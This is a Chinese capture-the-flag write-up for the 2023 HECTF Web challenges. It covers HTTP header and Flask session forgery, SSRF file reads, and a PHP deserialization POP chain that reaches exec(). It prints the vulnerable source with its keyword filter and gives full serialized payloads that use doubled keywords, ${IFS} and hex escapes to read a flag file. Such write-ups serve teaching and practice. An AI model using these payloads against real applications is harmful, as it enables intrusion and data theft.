【wp】2023第七届HECTF信息安全挑战赛 Web

伪装者

考点:http协议+flask的session伪造+ssrf读取文件

 首先根据题目要求就行伪造HTTP

【wp】2023第七届HECTF信息安全挑战赛 Web_第1张图片

这里不多说,比较基础 然后下面得到是个登入 页面,我们输入zxk1ing

【wp】2023第七届HECTF信息安全挑战赛 Web_第2张图片

得到 说什么要白马王子 ,一眼session伪造

看到ey开头感觉是jwt 输入看看

【wp】2023第七届HECTF信息安全挑战赛 Web_第3张图片

得到key 那就直接flask session伪造就行

【wp】2023第七届HECTF信息安全挑战赛 Web_第4张图片

看到ey开头感觉是jwt 输入看看

【wp】2023第七届HECTF信息安全挑战赛 Web_第5张图片

得到key 那就直接flask session伪造就行

【wp】2023第七届HECTF信息安全挑战赛 Web_第6张图片

然后我们就得到 flag在这个路径下 试了下伪协议读取无果,发现有个url读取

【wp】2023第七届HECTF信息安全挑战赛 Web_第7张图片

测试一下ssrf读取 成功获得flag 

【wp】2023第七届HECTF信息安全挑战赛 Web_第8张图片

EZphp 

考点: 生成伪随机数 +PHP反序列化+命令执行的过滤绕过

 首先进行抓包发现如下数据

【wp】2023第七届HECTF信息安全挑战赛 Web_第9张图片

根据 rand()? seed 看来就是根据seed这个种子来生成伪随机数来进行传参

我们写个脚本

然后将生产的数 做成一个字典进行爆破

【wp】2023第七届HECTF信息安全挑战赛 Web_第10张图片 

得到 Unablet0guess.php  访问得到PHP反序列化

源码:

candy->str;
    }
}

class unser{
    public $obj;
    public $auth;

    public function __construct($obj,$name){
        $this->obj = $obj;
        $this->obj->auth = $name;
    }

    public function __destruct(){
        $this->obj->Welcome();
    }
}

class HECTF{
    public $cmd;

    public function __invoke(){
        if($this->cmd){
            $this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);
        }
        exec($this->cmd);
    }
}

class heeectf{
    public $obj;
    public $flag = "Welcome";
    public $auth = "who are you?";

    public function Welcome(){
        if(unserialize($this->auth)=="zxk1ing"){
            $star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));
            echo $star;
        }
        else
            echo 'Welcome HECTF! Have fun!';
    }

    public function __get($get)
    {
        $func = $this->flag;
        return $func();
    }
}

new unser(new heeectf(),"user");

$data = $_POST['data'];
if(!preg_match('/flag/i',$data))
    unserialize($data);
else
    echo "想干嘛???"; Welcome HECTF! Have fun!

 这里的触发过程不难 ,难的是heeectf里面的一些考点,先找出口函数在HECTF里面的exec(),然后 就通过反推形成一条POP链:

unser.__destruct()->heeectf.welcome().->GGbond.__toString>heeectf.__get($get)>HECTF.__invoke()

这里注意的welcome()函数里面【wp】2023第七届HECTF信息安全挑战赛 Web_第11张图片

这个条件为真,那么 auth就要被赋值为序列化后的zxk1ing 

 所以为:

"s:7:\"zxk1ing\";"

 然后,第二点,在传参当中,存在一个if(!preg_match('/flag/i',$data)),因此,这里需要16进制绕过即可,具体方法就是前面的s大写,之后将f变为\66即可,这样就可以识别16进制编码了

最后

 这里的绕过就采用双写绕过 空格使用${IFS} ,因为exec输出无回显 所以我们使用tee命令进行传输flag进行解题

咱们可以通过如下来验证代码是否正确

输入进去进行,如果左上角转了3s则成功

所以最终的代码:

";
$a = new unser(new HECTF(),"s:7:\"zxk1ing\";");
$a -> obj = new heeectf();
$a -> obj -> obj = new GGbond();
$a -> obj -> obj -> candy = new heeectf();
$a -> obj -> obj -> candy -> flag = new HECTF();
echo serialize($a);

得到 

O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;s:4:"flag";O:5:"HECTF":1:{s:3:"cmd";s:21:"ccatat /f* | tteeee B";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}s:4:"flag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}

 产生的payload经过 16进制绕过 ,双写绕过 空格绕过 得到下面最终payload

data=O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;S:4:"\66lag";O:5:"HECTF":1:{s:3:"cmd";s:41:"ccatat${IFS}/f*${IFS}|${IFS}tteeee${IFS}a";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}S:4:"\66lag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}

然后传入访问a路径得到a文件 下载打开就为flag

 

你可能感兴趣的:(writeup,CTF,CTF)